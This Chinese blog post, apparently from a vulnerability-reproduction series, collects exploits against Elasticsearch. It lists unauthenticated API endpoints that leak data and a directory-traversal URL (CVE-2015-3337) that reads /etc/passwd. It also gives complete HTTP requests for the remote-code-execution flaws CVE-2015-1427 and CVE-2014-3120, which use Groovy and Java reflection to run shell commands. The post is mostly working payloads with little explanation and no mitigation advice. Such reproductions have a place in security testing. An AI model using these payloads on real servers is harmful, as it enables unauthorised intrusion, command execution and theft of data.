Elasticsearch 漏洞收集总结

最新推荐文章于 2024-08-05 18:37:53 发布

sojrs_sec

最新推荐文章于 2024-08-05 18:37:53 发布

阅读量7.7k

点赞数 3

分类专栏：漏洞复现文章标签： elasticsearch 安全漏洞

本文链接：https://blog.csdn.net/sojrs_sec/article/details/103780988

版权

漏洞复现专栏收录该内容

11 篇文章 0 订阅

订阅专栏

一：未授权访问获取敏感信息

/_cat/indices
/_plugin/sql/
/_nodes
/_search
/_search?preety
/_status

在这里插入图片描述

二：目录遍历漏洞（cve-2015-3337)

安装“site”功能的插件后，插件目录使用…/向上跳转，导致目录穿越漏洞，可读取任意文件。未安装site功能插件的不受影响
/_cat/plugins：查看所有已安装的插件
一般复现以head插件为例，若查看存在head插件，burp
访问

http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd

参考：https://blog.csdn.net/qq_36374896/article/details/84145527

三： CVE-2015-1427任意命令执行

JAVA反射执行代码

插入数据：

POST /website/blog/ HTTP/1.1
Host: ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
  "name": "test"
}

执行JAVA代码

POST /_search?pretty HTTP/1.1
Host: ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489
{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",
            "lang": "groovy"
        }
    }
}

利用Groovy执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

参考：https://blog.csdn.net/qq_36374896/article/details/84145374

四：cve-2014-3120 命令执行

要求es中先存在一条数据

POST /website/blog/ HTTP/1.1
Host: 192.168.15.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
  "name": "phithon"
}

代码执行

POST /_search?pretty HTTP/1.1
Host: 192.168.15.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

参考：https://louisnie.github.io/2019/07/03/elasticsearch%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/